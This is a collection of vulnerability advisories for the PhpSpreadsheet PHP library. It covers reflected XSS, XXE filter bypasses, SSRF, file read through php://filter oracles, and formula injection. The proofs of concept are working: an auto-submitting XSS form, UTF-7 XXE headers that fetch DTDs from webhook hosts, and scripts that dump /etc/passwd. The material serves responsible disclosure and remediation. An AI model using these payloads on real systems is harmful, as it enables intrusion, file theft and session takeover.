Unauthorized Reflected XSS in Convert-Online.php file Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php script, an attacker can perform a XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the quantity variable Researcher: Aleksey Solovev (Positive Technologies)
Research
The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Convert-Online.php file) in Phpspreadsheet.
There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php file, which leads to the possibility of a XSS attack.
!fig4
Figure 4. The message with the quantity parameter is displayed without sanitization
The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.
<img width="460" alt="fig5" src="https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971" />
Figure 5. In the server's response , the quantity variable is displayed without sanitization
An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.
Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.../vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST"> <input type="hidden" name="category" value="Weight and Mass" /> <input type="hidden" name="quantity" value="1.0<img src=1 onerror=alert()>" /> <input type="hidden" name="fromUnit" value="g" /> <input type="hidden" name="toUnit" value="g" /> <input type="hidden" name="submitx" value="Convert" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser. <img width="389" alt="fig6" src="https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625" />
Figure 6. Executing arbitrary JavaScript code
Credit This vulnerability was discovered by Aleksey Solovev (Positive Technologies)
Summary
The XmlScanner class has a scan method which should prevent XXE attacks.
However, we found another bypass than the previously reported CVE-2024-47873, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value encoding="UTF-8" with ", which is matched by the first regex, so that encoding='UTF-7' with single quotes ' in the XML header is not matched by the second regex:
$patterns = [ '/encoding\\s=\\s"([^"]]?)"/', "/encoding\\s=\\s'([^']?)'/", ];
A payload for the workbook.xml file can for example be created with CyberChef')&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K). If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.
To create the payload you need: 1. Create a file containing <?xml version = "1.0" encoding='UTF-7' in an XML file 2. Use the link attached above to create your XXE payload and add it to the XML file. 3. Add +ADw-+ACE---encoding="UTF-8"--+AD4- to the end of the XML file, which is matched by the first regex.
PoC
payload.xlsx
- Create a new folder. - Run the composer require phpoffice/phpspreadsheet command in the new folder. - Create an index.php file in that folder with the following content: PHP <?php require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
$spreadsheet = new Spreadsheet();
$inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx';
/ Create a new Reader of the type defined in $inputFileType / $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); / Advise the Reader that we only want to load cell data / $reader->setReadDataOnly(true);
$worksheetData = $reader->listWorksheetInfo($inputFileName);
foreach ($worksheetData as $worksheet) {
$sheetName = $worksheet['worksheetName'];
echo "<h4>$sheetName</h4>"; / Load $inputFileName to a Spreadsheet Object / $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName);
$worksheet = $spreadsheet->getActiveSheet(); printr($worksheet->toArray());
} - Run the following command: php -S 127.0.0.1:8080 - Add the payload.xlsx file in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on netcat <http://127.0.0.1:12345/ext.dtd>.
Impact
An attacker can bypass the sanitizer and achieve an XXE attackProcessing).
Summary The XmlScanner class has a scan method which should prevent XXE attacks.
However, the regexes used in the scan method and the findCharSet method can be bypassed by using UCS-4 and encoding guessing as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>.
Details The scan method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the toUtf8 method. Then, the scan method uses a regex which would also work with 16-bit encoding.
However, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>.
A payload for the workbook.xml file can for example be created with CyberChef')&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.). If you open an Excel file containing the payload from the link above stored in the workbook.xml file with PhpSpreadsheet, you will receive an HTTP request on 127.0.0.1:12345. You can test that an HTTP request is created by running the nc -nlvp 12345 command before opening the file containing the payload with PhpSpreadsheet.
PoC
- Create a new folder. - Run the composer require phpoffice/phpspreadsheet command in the new folder. - Create an index.php file in that folder with the following content: PHP <?php require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
$spreadsheet = new Spreadsheet();
$inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx';
/ Create a new Reader of the type defined in $inputFileType / $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); / Advise the Reader that we only want to load cell data / $reader->setReadDataOnly(true);
$worksheetData = $reader->listWorksheetInfo($inputFileName);
foreach ($worksheetData as $worksheet) {
$sheetName = $worksheet['worksheetName'];
echo "<h4>$sheetName</h4>"; / Load $inputFileName to a Spreadsheet Object / $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName);
$worksheet = $spreadsheet->getActiveSheet(); printr($worksheet->toArray());
} - Run the following command: php -S 127.0.0.1:8080 - Add the payload.xlsx file, which contains a payload similar to the payload from the details section, but with the URL https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a instead of the http://127.0.0.1:12345/ext.dtd URL, in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on <https://webhook.site/#!/view/65744200-63d2-43a2-a6a0-cca8d6b0d50a>.
Impact An attacker can bypass the sanitizer and achieve an XXE attackProcessing).
Summary The security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet.
Details The security scan function in src/PhpSpreadsheet/Reader/Security/XmlScanner.php contains a flawed XML encoding check to retrieve the input file's XML encoding in the toUtf8 function.
The function searches for the XML encoding through a defined regex which looks for encoding="" and/or encoding='', if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic.
$patterns = [ '/encoding="([^"]]?)"/', "/encoding='([^']?)'/", ];
This logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the = in the attribute definition.
PoC
Needed: - An Excel sheet (XLSX) with at least one cell containing a value.
Unzip the excel sheet, and modify the xl/SharedStrings.xml file with the following value (note the space after encoding=):
<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?> +ADw-!DOCTYPE abc [ ... ]>
Step-by-step
1. First off, the following string is encoded in base64:
<!ENTITY internal 'abc' >"
Resulting in:
PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K
2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.
<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?> +ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K" > %xxe;]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1"><si><t>&internal;</t></si></sst>
When this file is parsed by the library, the value abc should be in the original filled cell.
With the help of the PHP filter wrapper, this can be escalated to information disclosure/file read.
Impact Sensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.
Summary \PhpOffice\PhpSpreadsheet\Writer\Html does not sanitize "javascript:" URLs from hyperlink href attributes, resulting in a Cross-Site Scripting vulnerability.
PoC
Example target script:
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
Save this file in the same directory: book.xlsx
Open index.php in a web browser and click on both links. The first demonstrates the vulnerability in a regular hyperlink and the second in a HYPERLINK() formula.
Summary
It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.
Details
XLSX files allow embedding or linking media. When
In xl/drawings/drawing1.xml an attacker can do e.g.: xml <a:blip cstate="print" r:link="rId1" />
And then, in xl/drawings/rels/drawing1.xml.rels they can set the path to anything, such as: xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="/etc/passwd" /> or xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="http://example.org" />
When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.
php if ($this->embedImages || strstartswith($imageData, 'zip://')) { $picture = @filegetcontents($filename); if ($picture !== false) { $imageDetails = getimagesize($filename) ?: ['mime' => '']; // base64 encode the binary data $base64 = base64encode($picture); $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64; } }
$html .= '<img style="position: absolute; z-index: 1; left: ' . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: ' . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="' . $imageData . '" alt="' . $filedesc . '" />';
PoC
php <?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); $writer->setEmbedImages(true); $output = $writer->generateHTMLAll();
// The below is just for demo purposes
$pattern = '/data:;base64,(?<data>[^"]+)/i';
pregmatchall($pattern, $output, $matches);
print(" /etc/passwd content: \n"); print(base64decode($matches['data'][0]));
print(" HTTP response content: \n"); print(base64decode($matches['data'][1]));
Add this file in the same directory: book.xlsx
Run with: php index.php
Impact
When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.
Summary
It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.
Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.
Details
When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/rels/drawing1.xml.rels file in the XLSX archive:
php if (isset($images[$embedImageKey])) { // ...omit irrelevant code... } else { $linkImageKey = (string) self::getArrayItem( $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'), 'link' ); if (isset($images[$linkImageKey])) { $url = strreplace('xl/drawings/', '', $images[$linkImageKey]); $objDrawing->setPath($url); } }
setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:
php public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static { if ($verifyFile && pregmatch('~^data:image/[a-z]+;base64,~', $path) !== 1) { // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979 if (filtervar($path, FILTERVALIDATEURL)) { $this->path = $path; // Implicit that it is a URL, rather store info than running check above on value in other places. $this->isUrl = true; $imageContents = filegetcontents($path); // ... check dimensions etc. ...
It's important to note here, that filtervar considers also file:// and php:// URLs valid.
The attacker can set the path to anything:
xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="this can be whatever" />
The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hashkitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/phpfilterchainsoracleexploit
PoC
Target file:
php <?php
require 'vendor/autoload.php';
// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to // keep the PoC simple, I've combined this into the same file.
$file = "booktampered.xlsx"; $payload = $POST["payload"]; // the payload comes from the Python script
copy("book.xlsx",$file); $zip = new ZipArchive; $zip->open($file);
$path = "xl/drawings/rels/drawing1.xml.rels"; $content = $zip->getFromName($path); $content = strreplace("../media/image1.gif", $payload, $content); $zip->addFromString($path, $content);
$path = "xl/drawings/drawing1.xml"; $content = $zip->getFromName($path); $content = strreplace('r:embed="rId1"', 'r:link="rId1"', $content); $zip->addFromString($path, $content);
$zip->close();
// The actual target - note that simply opening the file is sufficient for the attack
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/' . $file);
Add this file in the same directory: book.xlsx
Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.
Download the error oracle Python script from here: https://github.com/synacktiv/phpfilterchainsoracleexploit. If your memory limit is greater than 128M, you'll need to edit the Python script's bruteforcer.py file to change self.blowupinf = self.join([self.blowuputf32]15) to self.blowupinf = self.join([self.blowuputf32]20). This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with pip.
Then run the Python script with: python3 filterschainoracleexploit.py --target [URL of the script] --parameter payload --file /etc/passwd
Note that the attack relies on certain character encodings being supported by the system's iconv library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.
Here's the results I got after about a minute of bruteforcing:
!image
Impact
An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.
Summary One of the sample scripts in PhpSpreadsheet is susceptible to a cross-site scripting (XSS) vulnerability due to improper handling of input where a number is expected leading to formula injection.
Details
The following code in 45Quadraticequationsolver.php concatenates the user supplied parameters directly into spreadsheet formulas. This allows an attacker to take control over the formula and output unsanitized data into the page, resulting in JavaScript execution. $discriminantFormula = '=POWER(' . $POST['B'] . ',2) - (4 ' . $POST['A'] . ' ' . $POST['C'] . ')'; $discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);
$r1Formula = '=IMDIV(IMSUM(-' . $POST['B'] . ',IMSQRT(' . $discriminant . ')),2 ' . $POST['A'] . ')'; $r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $POST['B'] . ',IMSQRT(' . $discriminant . ')),2 ' . $POST['A'] . '))';
PoC 1. Access 45Quadraticequationsolver.php in a browser 2. Enter any valid values for for b and c, and enter the following for a
1) & ("1)),1)&char(60)&char(105)&char(109)&char(103)&char(32)&char(115)&char(114)&char(99)&char(61)&char(120)&char(32)&char(111)&char(110)&char(101)&char(114)&char(114)&char(111)&char(114)&char(61)&char(97)&char(108)&char(101)&char(114)&char(116)&char(40)&char(41)&char(62)&POWER(((1") &n("1")&(1
3. Press submit and observe that JavaScript is executed.
!exploit-phpspreadsheet
Impact
The impact of this vulnerability on the project is expected to be relatively low since these are sample files that should not be included when the library is used properly (e.g., through composer). However, at least two instances of popular WordPress plugins have unintentionally exposed this file by including the entire git repository. Since these files also serve as reference points for developers using the library, addressing this issue can enhance security for users.
A solution to fix the vulnerability is proposed below, and a request for a CVE assignment has been made to facilitate responsible disclosure of the security issue to the affected WordPress plugins.
Remediation
A quick and easy solution to prevent this attack is to force the parameters to be numerical values:
php if (isset($POST['submit'])) { $POST['A'] = floatval($POST['A']); $POST['B'] = floatval($POST['B']); $POST['C'] = floatval($POST['C']); if ($POST['A'] == 0) {
Thank you for your time!
Summary
\PhpOffice\PhpSpreadsheet\Writer\Html doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.
PoC
Example target script:
<?php
require 'vendor/autoload.php';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/book.xlsx');
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll());
Save this file in the same directory: book.xlsx
Open index.php in a web browser. An alert should be displayed.
Impact
Full takeover of the session of users viewing spreadsheet files as HTML.
Summary Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
Details Check $pattern = '/encoding="(.?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this: <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]> If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
PoC 1) Create simple xlsx file 2) Rename xlsx to zip 3) Go to the zip and open the xl/sharedStrings.xml file in edit mode. 4) Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to <?xml version="1.0" encoding='UTF-7' standalone="yes"?> +ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]> 5) Save sharedStrings.xml file and rename zip back to xlsx. 6) Use minimal php code that simply opens this xlsx file: use PhpOffice\PhpSpreadsheet\IOFactory; require DIR . '/vendor/autoload.php'; $spreadsheet = IOFactory::load("file.xlsx"); 7) You will receive the request to your http://%webhook%/file.dtd 8) Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact Read local files !lfi
This affects the package phpoffice/phpspreadsheet from 0.0.0. The library is vulnerable to XSS when creating an html output from an excel file by adding a comment on any cell. The root cause of this issue is within the HTML writer where user comments are concatenated as part of link and this is returned as HTML. A fix for this issue is available on commit 0ed5b800be2136bcb8fa9c1bdf59abc957a98845/master branch.
PHPOffice PhpSpreadsheet before 1.8.0 has an XXE issue. The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than UTF-8 is declared in the header. This was a security measurement to prevent CVE-2018-19277 but the fix is not sufficient. By double-encoding the the xml payload to utf-7 it is possible to bypass the check for the string ?<!ENTITY? and thus allowing for an xml external entity processing (XXE) attack.
securityScan() in PHPOffice PhpSpreadsheet through 1.5.0 allows a bypass of protection mechanisms for XXE via UTF-7 encoding in a .xlsx file